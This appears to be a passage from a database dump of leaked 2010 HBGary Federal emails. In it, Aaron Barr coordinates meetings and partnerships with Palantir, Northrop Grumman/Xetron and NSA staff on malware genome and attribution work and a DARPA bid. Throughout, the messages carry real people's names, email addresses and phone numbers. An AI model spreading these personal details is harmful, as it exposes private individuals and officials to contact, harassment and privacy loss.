Thurs?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Just let me know when you\r\nwant Geoff Stowe to drive up to Sacramento\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ill pencil you in for analyst\r\ntraining on the 23rd\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ive been emailing back and\r\nforth with Brian &#8211; I think he&#8217;s in a good place right now\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lets chat about some AF\r\nthings we have going on\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Have you guys approached\r\nGoogle at any point?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 4:52 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nyeah...more of those to come. &nbsp;:)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will press Gregs better half, who does most of the\r\nscheduling to see when we can do the training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWant to get caught up with you maybe Wednesday? &nbsp;We are\r\npursing some work down at the 92nd, also on a proposal with Macaulley Brown for\r\nthe AF OSI RFP. &nbsp;We are making partner decisions for the DARPA BAA for\r\ncyber genome (there will be a palantir element). &nbsp;Also still working with\r\nBrian Masterson to build his IRAD, and have some conversations coming up with\r\nDave Luber out of the ANO office. &nbsp;Probably a few others that I missed but\r\na good start.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:48 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow, nice article.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 4:20 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Fwd: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNice.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Penny Leavy-Hoglund&quot;\r\n&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;February 8, 2010 4:15:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;&quot;\'Maria Lucas\'&quot; &lt;maria@hbgary.com&gt;, &quot;\'Rich\r\nCummings\'&quot; &lt;rich@hbgary.com&gt;,\r\n&quot;\'Phil Wallisch\'&quot; &lt;phil@hbgary.com&gt;,\r\n&quot;\'Matt O\'Flynn\'&quot; &lt;matt@hbgary.com&gt;,\r\n&quot;\'Bob Slapnik\'&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc:&nbsp;&quot;\'Ted Vera\'&quot; &lt;ted@hbgary.com&gt;, &quot;\'Aaron Barr\'&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nJust was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nscanned this so all could see, not sure we can distribute, so let me\r\ncheck.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12739,'aaron_hbgary_com/12739.html'),(2671,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001248.M944230P3547Q2671.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Just was put out by 451 Analyst Group','Yes it was just got my names mixed up. :).AaronFrom my iPhoneOn Feb 15, 2010, at 8:15 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nNot sure that was intended for me?\r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 6:35 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey Brian,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHave some time to catch up tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 5:13 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWednesday Ill be onsite.  Can we sync up Thurs?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n·         Just let me know when you\r\nwant Geoff Stowe to drive up to Sacramento\r\n\r\n\r\n\r\n\r\n\r\n·         Ill pencil you in for analyst\r\ntraining on the 23rd\r\n\r\n\r\n\r\n\r\n\r\n·         Ive been emailing back and\r\nforth with Brian – I think he’s in a good place right now\r\n\r\n\r\n\r\n\r\n\r\n·         Lets chat about some AF\r\nthings we have going on\r\n\r\n\r\n\r\n\r\n\r\n·         Have you guys approached\r\nGoogle at any point?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08,\r\n2010 4:52 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nyeah...more of those to come.  :)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will press Gregs better half, who does most of the\r\nscheduling to see when we can do the training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWant to get caught up with you maybe Wednesday?  We are\r\npursing some work down at the 92nd, also on a proposal with Macaulley Brown for\r\nthe AF OSI RFP.  We are making partner decisions for the DARPA BAA for\r\ncyber genome (there will be a palantir element).  Also still working with\r\nBrian Masterson to build his IRAD, and have some conversations coming up with\r\nDave Luber out of the ANO office.  Probably a few others that I missed but\r\na good start.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:48 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow, nice article.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08,\r\n2010 4:20 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNice.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Penny Leavy-Hoglund&quot;\r\n&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: February 8, 2010 4:15:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: &quot;&#39;Maria Lucas&#39;&quot; &lt;maria@hbgary.com&gt;, &quot;&#39;Rich\r\nCummings&#39;&quot; &lt;rich@hbgary.com&gt;,\r\n&quot;&#39;Phil Wallisch&#39;&quot; &lt;phil@hbgary.com&gt;,\r\n&quot;&#39;Matt O&#39;Flynn&#39;&quot; &lt;matt@hbgary.com&gt;,\r\n&quot;&#39;Bob Slapnik&#39;&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;, &quot;&#39;Aaron Barr&#39;&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nJust was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nscanned this so all could see, not sure we can distribute, so let me\r\ncheck.  If you printed off a copy you can show clients.  This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10538,'aaron_hbgary_com/10538.html'),(2672,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001249.M175291P3547Q2672.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Cyber Threat Analysis Center','What is the schedule on Friday?  How about Wed?  Trying to figure out travel?  Do I come back friday or saturday?\r\n\r\nAaron\r\n\r\nOn Feb 14, 2010, at 8:45 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Sure!  Not sure on my trip to San Antonio yet but I was planning on the\r\n> two of us getting with Bill on Thursday morning if I am there or just\r\n> the two of you.\r\n> \r\n> Stories!  I love stories!  He is full of himself and can talk forever\r\n> without saying much but Mark\'s heart is in the right place.\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, February 14, 2010 8:43 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: Cyber Threat Analysis Center\r\n> \r\n> Wow.  Lots of people.  And mr. Akey, fun.  I\'ll tell u a story about\r\n> him sometime.  I know he\'s a good guy just a little full of himself.\r\n> Anyway looking forward to it.  Is there a reason for me to come out\r\n> early on wed?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 14, 2010, at 8:14 AM, \"Masterson, Brian (Xetron)\"\r\n> > wrote:\r\n> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13905,'aaron_hbgary_com/13905.html'),(2673,'2010-02-16','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001249.M355365P3547Q2673.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Threat Analysis Center','I still am not sure if I am not going to San Antonio but pretty sure I\r\nam not.  I would plan on being at Xetron Thursday and Friday till 11 or\r\n12.  On Thursday, you probably need to talk to Bill for a bit.  You\r\nshould also talk to our contracts guy to go over the language for the\r\nPIEA with regards to Penny\'s concerns over the malware.  Our meeting\r\nThursday is 12-5.  Friday, the EndGame meeting starts at 8.  Figure the\r\ngeneral briefing then our meeting will go til 1030 or 11.  So, by 11,\r\nyou should be clear.\r\n\r\nHow does that sound?\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 10:02 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\nWhat is the schedule on Friday?  How about Wed?  Trying to figure out\r\ntravel?  Do I come back friday or saturday?\r\n\r\nAaron\r\n\r\nOn Feb 14, 2010, at 8:45 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Sure!  Not sure on my trip to San Antonio yet but I was planning on\r\nthe\r\n> two of us getting with Bill on Thursday morning if I am there or just\r\n> the two of you.\r\n> \r\n> Stories!  I love stories!  He is full of himself and can talk forever\r\n> without saying much but Mark\'s heart is in the right place.\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, February 14, 2010 8:43 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: Cyber Threat Analysis Center\r\n> \r\n> Wow.  Lots of people.  And mr. Akey, fun.  I\'ll tell u a story about\r\n> him sometime.  I know he\'s a good guy just a little full of himself.\r\n> Anyway looking forward to it.  Is there a reason for me to come out\r\n> early on wed?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 14, 2010, at 8:14 AM, \"Masterson, Brian (Xetron)\"\r\n> > wrote:\r\n> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13845,'aaron_hbgary_com/13845.html'),(2674,'2010-02-16','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001249.M528714P3547Q2674.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Business Plan Data','Aaron,\r\n\r\nLooks good a glance.  Will let you know when I get deeper in.\r\n\r\nThanks billt\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 6:25 PM\r\nTo: Thompson, Bill (Xetron)\r\nSubject: Re: Business Plan Data\r\n\r\n\r\n\r\nWill this due.\r\n\r\nAaron\r\n\r\nOn Feb 15, 2010, at 2:56 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n> Aaron,\r\n> \r\n> Can you send me any .ppt that you have on this?  I am working through \r\n> the business plan and need some imput.\r\n> \r\n> Thanks billt\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5038,'aaron_hbgary_com/5038.html'),(2675,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001249.M721714P3547Q2675.eml','\"David Fraticelli\" <dafrati@nsa.gov>,\"Boseman, Barry A\" <babosem@nsa.gov>,\"Bodman, Jerry M\" <jmbodma@nsa.gov>,\"David Fraticelli\" <dafrati@nsa.gov>,\"Boseman, Barry A\" <babosem@nsa.gov>','Re: Malware Genome and Attribution','Dave/Barry/Matt,\r\n\r\nI am very interested to discuss our different efforts/capabilities related to malware genomes/catalogs.  Please let me know when convenient to get together.\r\n\r\nThank you,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nOn Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n\r\n> Ralph,\r\n> \r\n> 	Thanks for reminding me about this one.\r\n> \r\n> Dave/Barry/Matt -- follow up on this please.\r\n> \r\n> Vergle \r\n> \r\n> -----Original Message-----\r\n> From: Ghent, Ralph \r\n> Sent: Tuesday, February 02, 2010 7:02 AM\r\n> To: Ghent, Ralph ; Gipson, Vergle \r\n> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley Parkes;\r\n> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John \r\n> Subject: RE: Malware Genome and Attribution\r\n> \r\n> Vergle,\r\n> Reminder of the thread below, and your awareness of the efforts of Aaron\r\n> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n> not seen any response since this was raised in early December.\r\n> \r\n> Also, pls see recent news article below:\r\n> \r\n> \'Cyber Genome Project\': The military scientists want to establish a\r\n> \"Cyber Genome\" project which will allow any digital artifact - a\r\n> document, apiece of malware - to be probed to its very origins.\r\n> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n> Genome Program\" will \"produce revolutionary cyber defense and\r\n> investigatory technologies\". \r\n> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n> \r\n> VR,\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Ghent, Ralph\r\n> Sent: Monday, January 11, 2010 3:05 PM\r\n> To: Gipson, Vergle\r\n> Subject: FW: Malware Genome and Attribution\r\n> \r\n> Vergle:\r\n> I mentioned this fellow to you awhile back and emailed you all in V2 as\r\n> to possible interest in engaging him to learn of his efforts (which seem\r\n> to me to be very closely aligned to the Carnegie-Mellon Malicious Code\r\n> Catalog efforts).\r\n> \r\n> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was\r\n> holding back on responding til he saw your comments/guidance.\r\n> \r\n> \r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:adbarr@me.com]\r\n> Sent: Friday, January 08, 2010 10:23 AM\r\n> To: Ghent, Ralph\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Hi Ralph,\r\n> \r\n> Happy New Year.\r\n> \r\n> I am still very interested to talk to folks there about the Malicious\r\n> Code Catalog and our Malware Genome and Digital DNA if there is interest\r\n> on that side.  As I mentioned we have recently partnered with Palantir\r\n> and are working on a partnership with Netwitness and maybe 1 or 2 other\r\n> small vendors with complimentary technology.  I think something really\r\n> substantial can be put together.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n> \r\n>> Aaron,\r\n>> Did anyone from the NTOC contact you yet?\r\n>> Respectfully,\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Friday, December 04, 2009 2:27 PM\r\n>> To: \'Aaron Barr\'\r\n>> Subject: RE: Malware Genome and Attribution\r\n>> \r\n>> Aaron,\r\n>> Many thanks for the additional info and the opportunity to chat \r\n>> briefly at Leesburg.\r\n>> \r\n>> I have pushed your info to those within my Agency who are working with\r\n> \r\n>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time next \r\n>> week, no one has reached-out to you, pls email me again and I will \r\n>> follow up with them.\r\n>> \r\n>> Sincerely,\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>> To: Ghent, Ralph\r\n>> Subject: Malware Genome and Attribution\r\n>> \r\n>> Ralph,\r\n>> \r\n>> Thank you for stepping in and asking about my discussion about Malware\r\n> \r\n>> detection, genomes, and attribution.  I am very new to my current \r\n>> position as CEO of HBGary Federal, prior to this I was the Technical \r\n>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the \r\n>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago \r\n>> if we can make headway against attribution I would have said no, not \r\n>> until we have better situational awareness, network characterization, \r\n>> CND/CNE integration, etc.\r\n>> \r\n>> Then I started to learn about HBGarys Malware Genome database, where \r\n>> they have characterized 3500 traits of malware to date, and are \r\n>> starting to make associations of authorship across malware.  I \r\n>> immediately thought of Palantirs capability to link analysis and had\r\n> an aha moment.\r\n>> But I knew that other capabilities needed to be added if we were \r\n>> seriously going to take a crack at attribution.\r\n>> \r\n>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I \r\n>> would love to talk with them and combine efforts if appropriate to \r\n>> develop the capability that is needed to help with this challenge.\r\n>> \r\n>> Thank You,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 301.652.8885 x117\r\n>> 719.510.8478\r\n> \r\n\r\n\r\n\r\n\r\n',11063,'aaron_hbgary_com/11063.html'),(2676,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001249.M899174P3547Q2676.eml','dpluber@nsa.gov,dpluber@nsa.gov','Introduction','Hi Dave,\r\n\r\nI received your contact information from our CTO, Rich Cummings.  He said you would like to have both a cybersecurity and IO conversation relating to our capabilities in both areas.\r\n\r\nLet me know when convenient for us to get together to discuss.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5373,'aaron_hbgary_com/5373.html'),(2677,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001250.M134135P3547Q2677.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Speak at NSA REBL confernce?','Threat IntelligenceFrom software to social behaviors.A look at the importance of threat intelligence as it relates to cybersecurity, the critical factor to developing capable cybersecurity solutions. &nbsp;A comprehensive approach to collecting and correlating a full-spectrum of cyber threat information. &nbsp;Most cyber based analysis or intelligence solutions look at one or at most a few factors related to threats. &nbsp;There is no quick solution here, it requires looking at all the factors and building threat models from scratch to mature our understanding of the threats and their evolution.How is that?AaronOn Feb 13, 2010, at 10:05 AM, Bob Slapnik wrote:Cool.&nbsp; Next step would be for you to give me a title and a paragraph to describe it.&nbsp; I\'ll find out how many minutes of the time slots.\r\n&nbsp;\r\nOn Sat, Feb 13, 2010 at 7:52 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nI do want to do this. &nbsp;And the topic will be around building threat intelligence and dynamic defense.\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 12:01 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nThe NSA Blue Team is an HBGary&nbsp;customer, and they are looking to do even more with us at the enterprise level.&nbsp; They hold an annual REBL (Red Blue Team) conference in Maryland where they invite hundreds of gov\'t security professionals.&nbsp; This is the top of food chain from a tech point of view.&nbsp; This tier is above HBSS from a response point of view.\r\n\r\n&nbsp;\r\nLsst year they invited us to speak, but Greg didn\'t have the bandwidth to do it.&nbsp; They\'ve invited us again for this year (May or June?).&nbsp; Would you like to speak?&nbsp; If yes, please write up one or more topics (a few sentences each) that I can send to them.&nbsp; Talks can be either unclass or secret level.&nbsp; They don\'t want sales pitches.&nbsp; Products can be mentioned, but they want the talks to be technology 